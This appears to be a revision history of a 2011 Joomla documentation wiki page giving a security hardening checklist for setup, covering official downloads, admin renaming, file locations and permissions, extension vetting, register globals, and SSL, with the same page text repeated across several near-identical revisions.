: Every now and then hire a professional Joomla! security consultant to review your configurations. Do you remember the adage, ''"Anyone who acts as their own lawyer has a fool for a client."'' The same goes for Web development. Don't expect to catch all of your own security mistakes.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

Security Checklist/Joomla! Setup

2011-06-26T23:26:34Z

Royce: /* Use an SSL server */

{{RightTOC}}

== Configuring Joomla!==

===Install official versions of Joomla!===
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.

: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible.

: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].

: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)

===Change the default administrator username===
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. '''([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])'''

===Protect directories and files===
: Increase the security of the critical ''configuration.php'' file by moving it outside of the ''public_html'' directory. For more information visit '''([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])'''

: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories.

: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don't pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.

: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the temp folder path.

: If the log and temp paths are changed and PHP ''open_basedir'' configuration directive is set, make sure that the new paths fall within the scope of ''open_basedir''.

: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.

===Adjust file and directory permissions===
'''This option no longer appears in Joomla.'''
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --> Global Configuration --> Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server's permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.
'''This option no longer appears in Joomla.''' but is included for historical purposes.

===Remove unneeded files ===
: Remove all design templates not needed by your site. Never put security logic into template files.

: {{JVer|1.5}} Disable the XML-RPC server if you don't need it.

: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don't forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.

: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.

===Turn Register Globals Emulation OFF===

: {{JVer|1.0}} Turn Joomla's Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings.

: {{JVer|1.5}}{{JVer|1.6}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it's turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?

: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].

== Installing Joomla! Extensions ==

===Backup before installing ===
: Before installing extensions, always backup your site's files and database. This follows a very basic principle:

: '''''Thou shalt at all times be able to return your site to a previous working state.'''''

: Therefore, it's smart to set up a simple and fast backup script to automate this task. If you don't set up an easy process in advance, you'll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.

===Check for extension vulnerabilities===
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There's an entire forum dedicated to vulnerable third part extensions. Subscribe to it.

===Download from trusted sites===
: The fully qualified and official definition of a "trusted site" is one that '''YOU''' trust.

===User beware! Check the code quality===
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.

===Test, test, test...===
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don't forget to check the logs for runtime errors and warnings.

===Remove junk files===
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.

===Avoid encrypted code===
: Joomla is (and despite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can't determine this for yourself, and so you must trust the developers. Using others' encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don't find your site first before a fix is released.

: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.

: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code on your own servers, providing you do not share it with others.

==Additional Joomla! Hardening Tips and Tricks ==

===Avoid shared servers if possible===
: For maximum security, avoid a shared server on which you don't know or can't trust all the other users or their code quality.

===Use an SSL server===
''This has more to do with secure payments and administration, and is not Joomla! core or server security, but has been included here for advisory purposes.
''
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read.

: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for "Tommy Hack" for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.

===Use Apache's .htaccess===
: For an additional layer of password protection, you can use .htaccess to password protect critical directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.

===Switch to Joomla! 1.5 or newer===
{{JVer|1.0}} The most significant upgrade in Joomla!'s history includes powerful security and performance enhancements.
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]

=== Add Joomla! Security Announcements to your site ===
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.

* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

Security Checklist/Joomla! Setup

2011-06-26T23:26:16Z

Royce: /* Use an SSL server */

{{RightTOC}}

== Configuring Joomla!==

===Install official versions of Joomla!===
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.

: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible.

: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].

: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)

===Change the default administrator username===
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. '''([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])'''

===Protect directories and files===
: Increase the security of the critical ''configuration.php'' file by moving it outside of the ''public_html'' directory. For more information visit '''([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])'''

: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories.

: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don't pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.

: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the temp folder path.

: If the log and temp paths are changed and PHP ''open_basedir'' configuration directive is set, make sure that the new paths fall within the scope of ''open_basedir''.

: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.

===Adjust file and directory permissions===
'''This option no longer appears in Joomla.'''
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --> Global Configuration --> Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server's permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.
'''This option no longer appears in Joomla.''' but is included for historical purposes.

===Remove unneeded files ===
: Remove all design templates not needed by your site. Never put security logic into template files.

: {{JVer|1.5}} Disable the XML-RPC server if you don't need it.

: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don't forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.

: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.

===Turn Register Globals Emulation OFF===

: {{JVer|1.0}} Turn Joomla's Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings.

: {{JVer|1.5}}{{JVer|1.6}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it's turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?

: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].

== Installing Joomla! Extensions ==

===Backup before installing ===
: Before installing extensions, always backup your site's files and database. This follows a very basic principle:

: '''''Thou shalt at all times be able to return your site to a previous working state.'''''

: Therefore, it's smart to set up a simple and fast backup script to automate this task. If you don't set up an easy process in advance, you'll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.

===Check for extension vulnerabilities===
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There's an entire forum dedicated to vulnerable third part extensions. Subscribe to it.

===Download from trusted sites===
: The fully qualified and official definition of a "trusted site" is one that '''YOU''' trust.

===User beware! Check the code quality===
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.

===Test, test, test...===
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don't forget to check the logs for runtime errors and warnings.

===Remove junk files===
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.

===Avoid encrypted code===
: Joomla is (and despite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can't determine this for yourself, and so you must trust the developers. Using others' encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don't find your site first before a fix is released.

: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.

: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code on your own servers, providing you do not share it with others.

==Additional Joomla! Hardening Tips and Tricks ==

===Avoid shared servers if possible===
: For maximum security, avoid a shared server on which you don't know or can't trust all the other users or their code quality.

===Use an SSL server===
''This has more to do with secure payments and administration, and is not Joomla! core or server security, but have been included here for advisory purposes.
''
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read.

: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for "Tommy Hack" for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.

===Use Apache's .htaccess===
: For an additional layer of password protection, you can use .htaccess to password protect critical directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.

===Switch to Joomla! 1.5 or newer===
{{JVer|1.0}} The most significant upgrade in Joomla!'s history includes powerful security and performance enhancements.
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]

=== Add Joomla! Security Announcements to your site ===
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.

* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

Security Checklist/Joomla! Setup

2011-06-26T23:24:42Z

Royce: /* Avoid encrypted code */

{{RightTOC}}

== Configuring Joomla!==

===Install official versions of Joomla!===
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.

: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible.

: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].

: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)

===Change the default administrator username===
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. '''([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])'''

===Protect directories and files===
: Increase the security of the critical ''configuration.php'' file by moving it outside of the ''public_html'' directory. For more information visit '''([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])'''

: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories.

: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don't pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.

: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the temp folder path.

: If the log and temp paths are changed and PHP ''open_basedir'' configuration directive is set, make sure that the new paths fall within the scope of ''open_basedir''.

: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.

===Adjust file and directory permissions===
'''This option no longer appears in Joomla.'''
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --> Global Configuration --> Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server's permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.
'''This option no longer appears in Joomla.''' but is included for historical purposes.

===Remove unneeded files ===
: Remove all design templates not needed by your site. Never put security logic into template files.

: {{JVer|1.5}} Disable the XML-RPC server if you don't need it.

: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don't forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.

: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.

===Turn Register Globals Emulation OFF===

: {{JVer|1.0}} Turn Joomla's Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings.

: {{JVer|1.5}}{{JVer|1.6}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it's turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?

: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].

== Installing Joomla! Extensions ==

===Backup before installing ===
: Before installing extensions, always backup your site's files and database. This follows a very basic principle:

: '''''Thou shalt at all times be able to return your site to a previous working state.'''''

: Therefore, it's smart to set up a simple and fast backup script to automate this task. If you don't set up an easy process in advance, you'll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.

===Check for extension vulnerabilities===
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There's an entire forum dedicated to vulnerable third part extensions. Subscribe to it.

===Download from trusted sites===
: The fully qualified and official definition of a "trusted site" is one that '''YOU''' trust.

===User beware! Check the code quality===
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.

===Test, test, test...===
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don't forget to check the logs for runtime errors and warnings.

===Remove junk files===
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.

===Avoid encrypted code===
: Joomla is (and despite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can't determine this for yourself, and so you must trust the developers. Using others' encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don't find your site first before a fix is released.

: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.

: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code on your own servers, providing you do not share it with others.

==Additional Joomla! Hardening Tips and Tricks ==

===Avoid shared servers if possible===
: For maximum security, avoid a shared server on which you don't know or can't trust all the other users or their code quality.

===Use an SSL server===
''This more to do with secure payments and administration, and is not joomla core or server security, but have been included here for advice
''
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read.

: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for "Tommy Hack" for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.

===Use Apache's .htaccess===
: For an additional layer of password protection, you can use .htaccess to password protect critical directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.

===Switch to Joomla! 1.5 or newer===
{{JVer|1.0}} The most significant upgrade in Joomla!'s history includes powerful security and performance enhancements.
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]

=== Add Joomla! Security Announcements to your site ===
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.

* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security Checklist]]

Security Checklist/Joomla! Setup

2011-06-26T23:23:56Z

Royce: /* Avoid encrypted code */ Minor spelling

{{RightTOC}}

== Configuring Joomla!==

===Install official versions of Joomla!===
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.

: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible.

: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].

: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)

===Change the default administrator username===
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. '''([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])'''

===Protect directories and files===
: Increase the security of the critical ''configuration.php'' file by moving it outside of the ''public_html'' directory. For more information visit '''([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])'''

: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories.

: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don't pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.

: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the temp folder path.

: If the log and temp paths are changed and PHP ''open_basedir'' configuration directive is set, make sure that the new paths fall within the scope of ''open_basedir''.

: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.

===Adjust file and directory permissions===
'''This option no longer appears in Joomla.'''
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --> Global Configuration --> Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server's permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.
'''This option no longer appears in Joomla.''' but is included for historical purposes.

===Remove unneeded files ===
: Remove all design templates not needed by your site. Never put security logic into template files.

: {{JVer|1.5}} Disable the XML-RPC server if you don't need it.

: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don't forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.

: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.

===Turn Register Globals Emulation OFF===

: {{JVer|1.0}} Turn Joomla's Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings.

: {{JVer|1.5}}{{JVer|1.6}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it's turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?

: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].

== Installing Joomla! Extensions ==

===Backup before installing ===
: Before installing extensions, always backup your site's files and database. This follows a very basic principle:

: '''''Thou shalt at all times be able to return your site to a previous working state.'''''

: Therefore, it's smart to set up a simple and fast backup script to automate this task. If you don't set up an easy process in advance, you'll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.

===Check for extension vulnerabilities===
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There's an entire forum dedicated to vulnerable third part extensions. Subscribe to it.

===Download from trusted sites===
: The fully qualified and official definition of a "trusted site" is one that '''YOU''' trust.

===User beware! Check the code quality===
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.

===Test, test, test...===
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don't forget to check the logs for runtime errors and warnings.

===Remove junk files===
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.

===Avoid encrypted code===
: Joomla is (and despite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can't determine this for yourself, and so you must trust the developers. Using others' encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don't find your site first before a fix is released.

: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.

: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code your own servers providing you do not share it with others.

==Additional Joomla! Hardening Tips and Tricks ==

===Avoid shared servers if possible===
: For maximum security, avoid a shared server on which you don't know or can't trust all the other users or their code quality.

===Use an SSL server===
''This more to do with secure payments and administration, and is not joomla core or server security, but have been included here for advice
''
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read.

: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for "Tommy Hack" for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.

